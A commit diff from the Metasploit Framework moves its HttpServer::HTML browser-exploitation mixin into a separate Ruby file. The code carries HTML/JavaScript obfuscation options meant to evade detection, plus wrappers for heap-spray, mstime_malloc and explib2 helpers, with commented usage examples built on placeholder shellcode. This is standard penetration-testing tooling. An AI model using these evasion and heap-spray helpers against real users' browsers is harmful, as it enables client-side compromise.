Move HttpServer::HTML into its own file
parent
3572ce9a37
commit
062529ce3b
|
@ -14,6 +14,8 @@ module Msf
|
|||
#
|
||||
###
|
||||
module Exploit::Remote::HttpServer
|
||||
require 'msf/core/exploit/http/server/html'
|
||||
require 'msf/core/exploit/http/server/php_include'
|
||||
|
||||
include Msf::Exploit::Remote::TcpServer
|
||||
include Msf::Auxiliary::Report
|
||||
|
@ -699,255 +701,5 @@ module Exploit::Remote::HttpServer
|
|||
# allow this module to be patched at initialization-time
|
||||
Metasploit::Concern.run(self)
|
||||
end
|
||||
|
||||
###
|
||||
#
|
||||
# This module provides methods for exploiting an HTTP client by acting
|
||||
# as an HTTP server.
|
||||
#
|
||||
###
|
||||
module Exploit::Remote::HttpServer::HTML
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer
|
||||
|
||||
UTF_NONE = 'none'
|
||||
UTF_7 = 'utf-7'
|
||||
UTF_7_ALL = 'utf-7-all'
|
||||
UTF_8 = 'utf-8'
|
||||
UTF_16_LE = 'utf-16le'
|
||||
UTF_16_BE = 'utf-16be'
|
||||
UTF_16_BE_MARKER = 'utf-16be-marker'
|
||||
UTF_32_LE = 'utf-32le'
|
||||
UTF_32_BE = 'utf-32be'
|
||||
|
||||
protected
|
||||
|
||||
def initialize(info = {})
|
||||
super
|
||||
|
||||
register_evasion_options(
|
||||
[
|
||||
# utf-8, utf-7 and utf-7-all are currently not supported by
|
||||
# most browsers. as such, they are not added by default. The
|
||||
# mixin supports encoding using them, however they are not
|
||||
# listed in the Option.
|
||||
OptEnum.new('HTML::unicode', [false, 'Enable HTTP obfuscation via unicode', UTF_NONE, [UTF_NONE, UTF_16_LE, UTF_16_BE, UTF_16_BE_MARKER, UTF_32_LE, UTF_32_BE]]),
|
||||
OptEnum.new('HTML::base64', [false, 'Enable HTML obfuscation via an embeded base64 html object (IE not supported)', 'none', ['none', 'plain', 'single_pad', 'double_pad', 'random_space_injection']]),
|
||||
OptInt.new('HTML::javascript::escape', [false, 'Enable HTML obfuscation via HTML escaping (number of iterations)', 0]),
|
||||
], Exploit::Remote::HttpServer::HTML)
|
||||
end
|
||||
|
||||
#
|
||||
# Obfuscates symbols found within a javascript string.
|
||||
#
|
||||
# Returns an ObfuscateJS object
|
||||
#
|
||||
def obfuscate_js(javascript, opts)
|
||||
js = Rex::Exploitation::ObfuscateJS.new(javascript, opts)
|
||||
js.obfuscate
|
||||
return js
|
||||
end
|
||||
|
||||
#
|
||||
# Encrypts a given javascript string using the provided key.
|
||||
#
|
||||
# Returns a string containing the encrypted string and a loader
|
||||
#
|
||||
def encrypt_js(javascript, key)
|
||||
Rex::Exploitation::EncryptJS.encrypt(javascript, key)
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the heaplib javascript, including any custom javascript supplied
|
||||
# by the caller.
|
||||
#
|
||||
def heaplib(custom_js = '', opts = {})
|
||||
Rex::Exploitation::HeapLib.new(custom_js, opts).to_s
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the heaplib2 javascript
|
||||
#
|
||||
def js_heaplib2(custom_js = '', opts = {})
|
||||
@cache_heaplib2 ||= Rex::Exploitation::Js::Memory.heaplib2(custom_js, opts={})
|
||||
end
|
||||
|
||||
def js_base64
|
||||
@cache_base64 ||= Rex::Exploitation::Js::Utils.base64
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Downloads data using ajax
|
||||
#
|
||||
# Supported arguments:
|
||||
# method => Optional. HTTP Verb (eg. GET/POST)
|
||||
# path => Relative path to the file. In IE, you can actually use an URI. But in Firefox, you
|
||||
# must use a relative path, otherwise you will be blocked by the browser.
|
||||
# data => Optional. Data to pass to the server
|
||||
#
|
||||
# Example of using the ajax_download() function:
|
||||
# For IE, your web server has to return this header to download binary data:
|
||||
# "text/plain; charset=x-user-defined"
|
||||
# <script>
|
||||
# #{js_ajax_download}
|
||||
#
|
||||
# ajax_download({path:"/test.bin"});
|
||||
# </script>
|
||||
#
|
||||
def js_ajax_download
|
||||
@cache_ajax_download ||= Rex::Exploitation::Js::Network.ajax_download
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Transfers data using a POST request
|
||||
#
|
||||
def js_ajax_post
|
||||
@cache_ajax_post ||= Rex::Exploitation::Js::Network.ajax_post
|
||||
end
|
||||
|
||||
#
|
||||
# This function takes advantage of MSTIME's CTIMEAnimationBase::put_values function that's
|
||||
# suitable for a no-spray technique. There should be an allocation that contains an array of
|
||||
# pointers to strings that we control, and each string should reside in its own buffer.
|
||||
# Please note newer IEs (such as IE9), no longer support SMIL, therefore this only works on
|
||||
# Internet Explorer 8 or prior. Note that "mstime_malloc" also requires a rather specific
|
||||
# writing style, so make sure you have the following before using:
|
||||
# * You must have the following at the beginning of your HTML file:
|
||||
# <!doctype html>
|
||||
# <HTML XMLNS:t ="urn:schemas-microsoft-com:time">
|
||||
# * You must have the following in <meta>:
|
||||
# <meta>
|
||||
# <?IMPORT namespace="t" implementation="#default#time2">
|
||||
# </meta>
|
||||
#
|
||||
# The "mstime_malloc" JavaScript function supports the following arguments:
|
||||
# shellcode => The shellcode to place.
|
||||
# offset => Optional. The pointer index that points to the shellcode.
|
||||
# heapBlockSize => Object size.
|
||||
# objId => The ID to your ANIMATECOLOR element.
|
||||
#
|
||||
# Example of using "js_mstime_malloc":
|
||||
# <script>
|
||||
# #{js_mstime_malloc}
|
||||
#
|
||||
# shellcode = unescape("%u4141%u4141%u4141%u4141%u4141");
|
||||
# offset = 3;
|
||||
# s = 0x58;
|
||||
# mstime_malloc({shellcode:shellcode,offset:offset,heapBlockSize:s,objId:oId});
|
||||
# </script>
|
||||
#
|
||||
def js_mstime_malloc
|
||||
@cache_mstime_malloc ||= Rex::Exploitation::Js::Memory.mstime_malloc
|
||||
end
|
||||
|
||||
#
|
||||
# This heap spray technique takes advantage of MSHTML's SetStringProperty (or SetProperty)
|
||||
# function to trigger allocations by ntdll!RtlAllocateHeap. It is based on Corelan's
|
||||
# publication on "DEPS – Precise Heap Spray on Firefox and IE10". In IE, the shellcode
|
||||
# should land at address 0x0c0d2020, as this is the most consistent location across
|
||||
# various versions.
|
||||
#
|
||||
# The "sprayHeap" JavaScript function supports the following arguments:
|
||||
# shellcode => The shellcode to spray in JavaScript. Note: Avoid null bytes.
|
||||
# objId => Optional. The ID for a <div> HTML tag.
|
||||
# offset => Optional. Number of bytes to align the shellcode, default: 0x00
|
||||
# heapBlockSize => Optional. Allocation size, default: 0x80000
|
||||
# maxAllocs => Optional. Number of allocation calls, default: 0x350
|
||||
#
|
||||
# Example of using the 'sprayHeap' function:
|
||||
# <script>
|
||||
# #{js_property_spray}
|
||||
#
|
||||
# var s = unescape("%u4141%u4141%u4242%u4242%u4343%u4343%u4444%u4444");
|
||||
# sprayHeap({shellcode:s, heapBlockSize:0x80000});
|
||||
# </script>
|
||||
#
|
||||
def js_property_spray
|
||||
@cache_property_spray ||= Rex::Exploitation::Js::Memory.property_spray
|
||||
end
|
||||
|
||||
def js_heap_spray
|
||||
@cache_heap_spray ||= Rex::Exploitation::Js::Memory.heap_spray
|
||||
end
|
||||
|
||||
def js_explib2
|
||||
@explib2 ||= ::Rex::Exploitation::Js::Memory.explib2
|
||||
end
|
||||
|
||||
def js_explib2_payload(payload="exec")
|
||||
@explib2_payload ||= ::Rex::Exploitation::Js::Memory.explib2_payload(payload)
|
||||
end
|
||||
|
||||
def js_os_detect
|
||||
@cache_os_detect ||= ::Rex::Exploitation::Js::Detect.os
|
||||
end
|
||||
|
||||
def js_ie_addons_detect
|
||||
@cache_ie_addons_detect ||= ::Rex::Exploitation::Js::Detect.ie_addons
|
||||
end
|
||||
|
||||
def js_misc_addons_detect
|
||||
@cache_misc_addons_detect ||= ::Rex::Exploitation::Js::Detect.misc_addons
|
||||
end
|
||||
|
||||
# Transmits a html response to the supplied client
|
||||
#
|
||||
# HTML evasions are implemented here.
|
||||
def send_response_html(cli, body, headers = {})
|
||||
body = body.to_s.unpack("C*").pack("C*")
|
||||
if datastore['HTML::base64'] != 'none'
|
||||
case datastore['HTML::base64']
|
||||
when 'plain'
|
||||
body = Rex::Text.encode_base64(body)
|
||||
when 'single_pad'
|
||||
body = Rex::Text.encode_base64(' ' + body)
|
||||
when 'double_pad'
|
||||
body = Rex::Text.encode_base64(' ' + body)
|
||||
when 'random_space_injection'
|
||||
body = Rex::Text.encode_base64(body)
|
||||
new = ''
|
||||
while (body.size > 0)
|
||||
new << body.slice!(0, rand(3) + 1) + Rex::Text.rand_text(rand(5) + 1, '', " \n")
|
||||
end
|
||||
body = new
|
||||
end
|
||||
|
||||
body = '<HTML><BODY><OBJECT ID="' + Rex::Text.rand_text_alpha(rand(10)+5) + '" ' +
|
||||
'HEIGHT="100%" WIDTH="100%" TYPE="text/html" DATA="data:text/html;base64,' +
|
||||
body + '">Could not render object</OBJECT></BODY></HTML>'
|
||||
end
|
||||
|
||||
if datastore['HTML::javascript::escape'] > 0
|
||||
datastore['HTML::javascript::escape'].times {
|
||||
body = '<script>document.write(unescape("' + Rex::Text.to_hex(body, '%') + '"))</script>'
|
||||
}
|
||||
end
|
||||
|
||||
if [UTF_16_LE, UTF_16_BE, UTF_32_LE, UTF_32_BE, UTF_7, UTF_8].include?(datastore['HTML::unicode'])
|
||||
headers['Content-Type'] = 'text/html; charset= ' + datastore['HTML::unicode']
|
||||
body = Rex::Text.to_unicode(body, datastore['HTML::unicode'])
|
||||
else
|
||||
# special cases
|
||||
case datastore['HTML::unicode']
|
||||
when UTF_16_BE_MARKER
|
||||
headers['Content-Type'] = 'text/html'
|
||||
body = "\xFE\xFF" + Rex::Text.to_unicode(body, UTF_16_BE)
|
||||
when UTF_7_ALL
|
||||
headers['Content-Type'] = "text/html; charset=#{UTF_7}"
|
||||
body = Rex::Text.to_unicode(body, UTF_7, 'all')
|
||||
when UTF_NONE
|
||||
# do nothing
|
||||
else
|
||||
raise RuntimeError, 'Invalid unicode. how did you get here?'
|
||||
end
|
||||
end
|
||||
|
||||
send_response(cli, body, headers)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
|
|
@ -0,0 +1,254 @@
|
|||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# This module provides methods for exploiting an HTTP client by acting
|
||||
# as an HTTP server.
|
||||
#
|
||||
###
|
||||
module Exploit::Remote::HttpServer::HTML
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer
|
||||
|
||||
UTF_NONE = 'none'
|
||||
UTF_7 = 'utf-7'
|
||||
UTF_7_ALL = 'utf-7-all'
|
||||
UTF_8 = 'utf-8'
|
||||
UTF_16_LE = 'utf-16le'
|
||||
UTF_16_BE = 'utf-16be'
|
||||
UTF_16_BE_MARKER = 'utf-16be-marker'
|
||||
UTF_32_LE = 'utf-32le'
|
||||
UTF_32_BE = 'utf-32be'
|
||||
|
||||
protected
|
||||
|
||||
def initialize(info = {})
|
||||
super
|
||||
|
||||
register_evasion_options(
|
||||
[
|
||||
# utf-8, utf-7 and utf-7-all are currently not supported by
|
||||
# most browsers. as such, they are not added by default. The
|
||||
# mixin supports encoding using them, however they are not
|
||||
# listed in the Option.
|
||||
OptEnum.new('HTML::unicode', [false, 'Enable HTTP obfuscation via unicode', UTF_NONE, [UTF_NONE, UTF_16_LE, UTF_16_BE, UTF_16_BE_MARKER, UTF_32_LE, UTF_32_BE]]),
|
||||
OptEnum.new('HTML::base64', [false, 'Enable HTML obfuscation via an embeded base64 html object (IE not supported)', 'none', ['none', 'plain', 'single_pad', 'double_pad', 'random_space_injection']]),
|
||||
OptInt.new('HTML::javascript::escape', [false, 'Enable HTML obfuscation via HTML escaping (number of iterations)', 0]),
|
||||
], Exploit::Remote::HttpServer::HTML)
|
||||
end
|
||||
|
||||
#
|
||||
# Obfuscates symbols found within a javascript string.
|
||||
#
|
||||
# Returns an ObfuscateJS object
|
||||
#
|
||||
def obfuscate_js(javascript, opts)
|
||||
js = Rex::Exploitation::ObfuscateJS.new(javascript, opts)
|
||||
js.obfuscate
|
||||
return js
|
||||
end
|
||||
|
||||
#
|
||||
# Encrypts a given javascript string using the provided key.
|
||||
#
|
||||
# Returns a string containing the encrypted string and a loader
|
||||
#
|
||||
def encrypt_js(javascript, key)
|
||||
Rex::Exploitation::EncryptJS.encrypt(javascript, key)
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the heaplib javascript, including any custom javascript supplied
|
||||
# by the caller.
|
||||
#
|
||||
def heaplib(custom_js = '', opts = {})
|
||||
Rex::Exploitation::HeapLib.new(custom_js, opts).to_s
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the heaplib2 javascript
|
||||
#
|
||||
def js_heaplib2(custom_js = '', opts = {})
|
||||
@cache_heaplib2 ||= Rex::Exploitation::Js::Memory.heaplib2(custom_js, opts={})
|
||||
end
|
||||
|
||||
def js_base64
|
||||
@cache_base64 ||= Rex::Exploitation::Js::Utils.base64
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Downloads data using ajax
|
||||
#
|
||||
# Supported arguments:
|
||||
# method => Optional. HTTP Verb (eg. GET/POST)
|
||||
# path => Relative path to the file. In IE, you can actually use an URI. But in Firefox, you
|
||||
# must use a relative path, otherwise you will be blocked by the browser.
|
||||
# data => Optional. Data to pass to the server
|
||||
#
|
||||
# Example of using the ajax_download() function:
|
||||
# For IE, your web server has to return this header to download binary data:
|
||||
# "text/plain; charset=x-user-defined"
|
||||
# <script>
|
||||
# #{js_ajax_download}
|
||||
#
|
||||
# ajax_download({path:"/test.bin"});
|
||||
# </script>
|
||||
#
|
||||
def js_ajax_download
|
||||
@cache_ajax_download ||= Rex::Exploitation::Js::Network.ajax_download
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Transfers data using a POST request
|
||||
#
|
||||
def js_ajax_post
|
||||
@cache_ajax_post ||= Rex::Exploitation::Js::Network.ajax_post
|
||||
end
|
||||
|
||||
#
|
||||
# This function takes advantage of MSTIME's CTIMEAnimationBase::put_values function that's
|
||||
# suitable for a no-spray technique. There should be an allocation that contains an array of
|
||||
# pointers to strings that we control, and each string should reside in its own buffer.
|
||||
# Please note newer IEs (such as IE9), no longer support SMIL, therefore this only works on
|
||||
# Internet Explorer 8 or prior. Note that "mstime_malloc" also requires a rather specific
|
||||
# writing style, so make sure you have the following before using:
|
||||
# * You must have the following at the beginning of your HTML file:
|
||||
# <!doctype html>
|
||||
# <HTML XMLNS:t ="urn:schemas-microsoft-com:time">
|
||||
# * You must have the following in <meta>:
|
||||
# <meta>
|
||||
# <?IMPORT namespace="t" implementation="#default#time2">
|
||||
# </meta>
|
||||
#
|
||||
# The "mstime_malloc" JavaScript function supports the following arguments:
|
||||
# shellcode => The shellcode to place.
|
||||
# offset => Optional. The pointer index that points to the shellcode.
|
||||
# heapBlockSize => Object size.
|
||||
# objId => The ID to your ANIMATECOLOR element.
|
||||
#
|
||||
# Example of using "js_mstime_malloc":
|
||||
# <script>
|
||||
# #{js_mstime_malloc}
|
||||
#
|
||||
# shellcode = unescape("%u4141%u4141%u4141%u4141%u4141");
|
||||
# offset = 3;
|
||||
# s = 0x58;
|
||||
# mstime_malloc({shellcode:shellcode,offset:offset,heapBlockSize:s,objId:oId});
|
||||
# </script>
|
||||
#
|
||||
def js_mstime_malloc
|
||||
@cache_mstime_malloc ||= Rex::Exploitation::Js::Memory.mstime_malloc
|
||||
end
|
||||
|
||||
#
|
||||
# This heap spray technique takes advantage of MSHTML's SetStringProperty (or SetProperty)
|
||||
# function to trigger allocations by ntdll!RtlAllocateHeap. It is based on Corelan's
|
||||
# publication on "DEPS – Precise Heap Spray on Firefox and IE10". In IE, the shellcode
|
||||
# should land at address 0x0c0d2020, as this is the most consistent location across
|
||||
# various versions.
|
||||
#
|
||||
# The "sprayHeap" JavaScript function supports the following arguments:
|
||||
# shellcode => The shellcode to spray in JavaScript. Note: Avoid null bytes.
|
||||
# objId => Optional. The ID for a <div> HTML tag.
|
||||
# offset => Optional. Number of bytes to align the shellcode, default: 0x00
|
||||
# heapBlockSize => Optional. Allocation size, default: 0x80000
|
||||
# maxAllocs => Optional. Number of allocation calls, default: 0x350
|
||||
#
|
||||
# Example of using the 'sprayHeap' function:
|
||||
# <script>
|
||||
# #{js_property_spray}
|
||||
#
|
||||
# var s = unescape("%u4141%u4141%u4242%u4242%u4343%u4343%u4444%u4444");
|
||||
# sprayHeap({shellcode:s, heapBlockSize:0x80000});
|
||||
# </script>
|
||||
#
|
||||
def js_property_spray
|
||||
@cache_property_spray ||= Rex::Exploitation::Js::Memory.property_spray
|
||||
end
|
||||
|
||||
def js_heap_spray
|
||||
@cache_heap_spray ||= Rex::Exploitation::Js::Memory.heap_spray
|
||||
end
|
||||
|
||||
def js_explib2
|
||||
@explib2 ||= ::Rex::Exploitation::Js::Memory.explib2
|
||||
end
|
||||
|
||||
def js_explib2_payload(payload="exec")
|
||||
@explib2_payload ||= ::Rex::Exploitation::Js::Memory.explib2_payload(payload)
|
||||
end
|
||||
|
||||
def js_os_detect
|
||||
@cache_os_detect ||= ::Rex::Exploitation::Js::Detect.os
|
||||
end
|
||||
|
||||
def js_ie_addons_detect
|
||||
@cache_ie_addons_detect ||= ::Rex::Exploitation::Js::Detect.ie_addons
|
||||
end
|
||||
|
||||
def js_misc_addons_detect
|
||||
@cache_misc_addons_detect ||= ::Rex::Exploitation::Js::Detect.misc_addons
|
||||
end
|
||||
|
||||
# Transmits a html response to the supplied client
|
||||
#
|
||||
# HTML evasions are implemented here.
|
||||
def send_response_html(cli, body, headers = {})
|
||||
body = body.to_s.unpack("C*").pack("C*")
|
||||
if datastore['HTML::base64'] != 'none'
|
||||
case datastore['HTML::base64']
|
||||
when 'plain'
|
||||
body = Rex::Text.encode_base64(body)
|
||||
when 'single_pad'
|
||||
body = Rex::Text.encode_base64(' ' + body)
|
||||
when 'double_pad'
|
||||
body = Rex::Text.encode_base64(' ' + body)
|
||||
when 'random_space_injection'
|
||||
body = Rex::Text.encode_base64(body)
|
||||
new = ''
|
||||
while (body.size > 0)
|
||||
new << body.slice!(0, rand(3) + 1) + Rex::Text.rand_text(rand(5) + 1, '', " \n")
|
||||
end
|
||||
body = new
|
||||
end
|
||||
|
||||
body = '<HTML><BODY><OBJECT ID="' + Rex::Text.rand_text_alpha(rand(10)+5) + '" ' +
|
||||
'HEIGHT="100%" WIDTH="100%" TYPE="text/html" DATA="data:text/html;base64,' +
|
||||
body + '">Could not render object</OBJECT></BODY></HTML>'
|
||||
end
|
||||
|
||||
if datastore['HTML::javascript::escape'] > 0
|
||||
datastore['HTML::javascript::escape'].times {
|
||||
body = '<script>document.write(unescape("' + Rex::Text.to_hex(body, '%') + '"))</script>'
|
||||
}
|
||||
end
|
||||
|
||||
if [UTF_16_LE, UTF_16_BE, UTF_32_LE, UTF_32_BE, UTF_7, UTF_8].include?(datastore['HTML::unicode'])
|
||||
headers['Content-Type'] = 'text/html; charset= ' + datastore['HTML::unicode']
|
||||
body = Rex::Text.to_unicode(body, datastore['HTML::unicode'])
|
||||
else
|
||||
# special cases
|
||||
case datastore['HTML::unicode']
|
||||
when UTF_16_BE_MARKER
|
||||
headers['Content-Type'] = 'text/html'
|
||||
body = "\xFE\xFF" + Rex::Text.to_unicode(body, UTF_16_BE)
|
||||
when UTF_7_ALL
|
||||
headers['Content-Type'] = "text/html; charset=#{UTF_7}"
|
||||
body = Rex::Text.to_unicode(body, UTF_7, 'all')
|
||||
when UTF_NONE
|
||||
# do nothing
|
||||
else
|
||||
raise RuntimeError, 'Invalid unicode. how did you get here?'
|
||||
end
|
||||
end
|
||||
|
||||
send_response(cli, body, headers)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
Loading…
Reference in New Issue